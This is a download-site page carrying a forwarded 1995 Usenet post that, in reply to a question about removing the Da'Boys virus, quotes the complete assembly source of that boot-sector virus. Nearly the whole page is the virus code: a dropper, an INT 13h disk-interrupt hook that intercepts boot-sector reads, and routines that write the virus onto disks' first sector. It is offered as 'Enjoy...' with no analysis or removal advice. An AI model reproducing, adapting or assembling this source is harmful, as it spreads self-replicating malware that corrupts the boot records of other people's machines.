⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 daboys.asm

📁 一些病毒源代码
💻 ASM
字号:
From smtp Fri Mar 24 16:17 EST 1995Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 ESTReceived: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500Date: Fri, 24 Mar 1995 16:21:26 -0500From: Eric Kilby <ekilby@lynx.dac.neu.edu>Content-Length: 6924Content-Type: textMessage-Id: <199503242121.QAA30764@lynx.dac.neu.edu>To: joshuaw@pobox.jwu.eduSubject: (fwd) Re: Da'boys viurs, new?Newsgroups: alt.comp.virusStatus: OPath: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mailFrom: yojimbo@crl.com (Douglas Mauldin)Newsgroups: alt.comp.virusSubject: Re: Da'boys viurs, new?Date: 23 Mar 1995 23:25:53 -0800Organization: CRL Dialup Internet Access	(415) 705-6060  [Login: guest]Lines: 276Message-ID: <3kts61$1a3@crl9.crl.com>References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>NNTP-Posting-Host: crl9.crl.comX-Newsreader: TIN [version 1.2 PL2];: does anyone know what this virus does?  how dangerous is it;: and how do i remove it from my boot sector if the disk is not;: a bootable one?  ;From THe QUaRaNTiNE archives: Da'Boys Source-;Enjoy...cseg		segment	para	public	'code'da_boys		proc	nearassume		cs:cseg;-----------------------------------------------------------------------------.186TRUE		equ	001hFALSE		equ	000h;-----------------------------------------------------------------------------;option				     bytes usedCOM4_OFF	equ	TRUE	;  3 bytesDA_BOYS_TEXT	equ	TRUE	;  6 bytes;-----------------------------------------------------------------------------ADDR_MUL	equ	004hBIOS_INT_13	equ	0c6hBOOT_INT	equ	019hBOOT_OFFSET	equ	07c00hCOM4_OFFSET	equ	00406hCOM_OFFSET	equ	00100hDISK_INT	equ	013hDOS_GET_INT	equ	03500hDOS_INT		equ	021hDOS_SET_INT	equ	02500hFIRST_SECTOR	equ	00001hINITIAL_BX	equ	00078hLOW_CODE	equ	0021dhNEW_INT_13_LOOP	equ	0cdhREAD_A_SECTOR	equ	00201hRETURN_NEAR	equ	0c3hSECTOR_SIZE	equ	00200hTERMINATE_W_ERR	equ	04c00hTWO_BYTES	equ	002hVIRGIN_INT_13_B	equ	007b4hWRITE_A_SECTOR	equ	00301h;-----------------------------------------------------------------------------io_seg		segment	at 00070h		org	00000hio_sys_loads_at	label	wordio_seg		ends;-----------------------------------------------------------------------------bios_seg	segment	at 0f000h		org	09315horiginal_int_13	label	wordbios_seg	ends;-----------------------------------------------------------------------------		org	COM_OFFSETcom_code:;-----------------------------------------------------------------------------dropper		proc	near		xor	ax,ax		mov	ds,ax		lds	dx,dword ptr ds:[VIRGIN_INT_13_B]		mov	ax,DOS_SET_INT+BIOS_INT_13		int	DOS_INT		mov	dx,offset interrupt_13+LOW_CODE-offset old_jz		xor	ax,ax		mov	ds,ax		mov	ax,DOS_SET_INT+DISK_INT		int	DOS_INT		mov	di,LOW_CODE		mov	si,offset old_jz		push	ds		pop	es		call	move_to_boot		mov	ax,READ_A_SECTOR		mov	cx,FIRST_SECTOR		mov	dx,00180h		mov	bx,offset buffer		push	cs		pop	es		int	DISK_INTalready_set:	mov	ax,TERMINATE_W_ERR		int	DOS_INTdropper		endp;-----------------------------------------------------------------------------		org	00048h+COM_OFFSET		call	initialize;-----------------------------------------------------------------------------		org	000ebh+COM_OFFSETold_jz:		jz	old_code;-----------------------------------------------------------------------------		org	00edh+COM_OFFSET;-----------------------------------------------------------------------------error:		jmp	error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSETmove_to_low:	mov	si,offset old_jz+BOOT_OFFSET-COM_OFFSET		xor	ax,axmove_to_boot:	mov	cx,offset jmp_old_int_13-offset	old_jz+1		pushf		cld		rep	movs byte ptr es:[di],cs:[si]		popf		ret;-----------------------------------------------------------------------------old_code:	mov	ax,word	ptr ds:[bx+01ah]		dec	ax		dec	ax		mov	di,BOOT_OFFSET+049h		mov	bl,byte	ptr ds:[di-03ch]		xor	bh,bh		mul	bx		add	ax,word	ptr ds:[di]		adc	dx,word	ptr ds:[di+002h]		mov	bx,00700h		mov	cl,003hold_loop:	pusha		call	more_old_code		popa		jc	error		add	ax,0001h		adc	dx,00h		add	bx,word	ptr ds:[di-03eh]		loop	old_loop		mov	ch,byte	ptr ds:[di-034h]		mov	dl,byte	ptr ds:[di-025h]		mov	bx,word	ptr ds:[di]		mov	ax,word	ptr ds:[di+002h]		jmp	far ptr	io_sys_loads_at;-----------------------------------------------------------------------------initialize:	mov	bx,INITIAL_BX		mov	di,LOW_CODE		push	ss		pop	ds		jmp	short set_interrupts;-----------------------------------------------------------------------------error_will_jmp:	mov	bx,BOOT_OFFSET		IF	DA_BOYS_TEXT		db	'DA',027h,'BOYS'		ELSE		push	bx		ENDIF		mov	ax,00100h		mov	dx,08000hload_from_disk:	mov	cx,ax		mov	ax,READ_A_SECTOR		xchg	ch,cl		xchg	dh,dl		int	DISK_INT		ret;-----------------------------------------------------------------------------		org	00160h+COM_OFFSET;-----------------------------------------------------------------------------more_old_code:	mov	si,BOOT_OFFSET+018h		cmp	dx,word	ptr ds:[si]		jnb	stc_return		div	word ptr ds:[si]		inc	dl		mov	ch,dl		xor	dx,dx		IF	COM4_OFF		mov	word ptr ds:[COM4_OFFSET],dx		ENDIF		div	word ptr ds:[si+002h]		mov	dh,byte	ptr ds:[si+00ch]		shl	ah,006h		or	ah,ch		jmp	short load_from_diskstc_return:	stc		ret;-----------------------------------------------------------------------------		org	0181h+COM_OFFSET		ret;-----------------------------------------------------------------------------restart_it:	int	BOOT_INT;-----------------------------------------------------------------------------set_interrupts:	cmp	word ptr ds:[di],ax		jne	is_resident		mov	word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax		xchg	word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax		mov	word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax		mov	ax,offset interrupt_13+LOW_CODE-offset old_jz		mov	word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax		xchg	word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax		mov	word ptr ds:[BIOS_INT_13*ADDR_MUL],axis_resident:	jmp	move_to_low;-----------------------------------------------------------------------------interrupt_13	proc	far		cmp	ah,high(READ_A_SECTOR)		jne	jmp_old_int_13		cmp	cx,FIRST_SECTOR		jne	jmp_old_int_13		cmp	dh,cl		ja	jmp_old_int_13		pusha		int	BIOS_INT_13		jc	not_boot_sect		mov	ax,0efe8h		xchg	word ptr es:[bx+048h],ax		cmp	ax,078bbh		jne	not_boot_sect		mov	di,bx		add	di,offset old_jz-COM_OFFSET		cmp	bh,high(BOOT_OFFSET)		pushf		jne	no_key_press		mov	byte ptr es:[di+00ch],RETURN_NEAR		pusha		call	near ptr hit_any_key		popano_key_press:	mov	ax,WRITE_A_SECTOR		mov	si,LOW_CODE		call	move_to_boot		inc	cx		int	BIOS_INT_13		popf		je	restart_itnot_boot_sect:	popainterrupt_13	endp;-----------------------------------------------------------------------------		org	001e5h+COM_OFFSETjmp_old_int_13:	jmp	far ptr	original_int_13;-----------------------------------------------------------------------------buffer		db	SECTOR_SIZE dup	(0);-----------------------------------------------------------------------------		org	07cedh-LOW_CODE+offset old_jzhit_any_key	label	word;-----------------------------------------------------------------------------da_boys		endpcseg		endsend		com_code

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -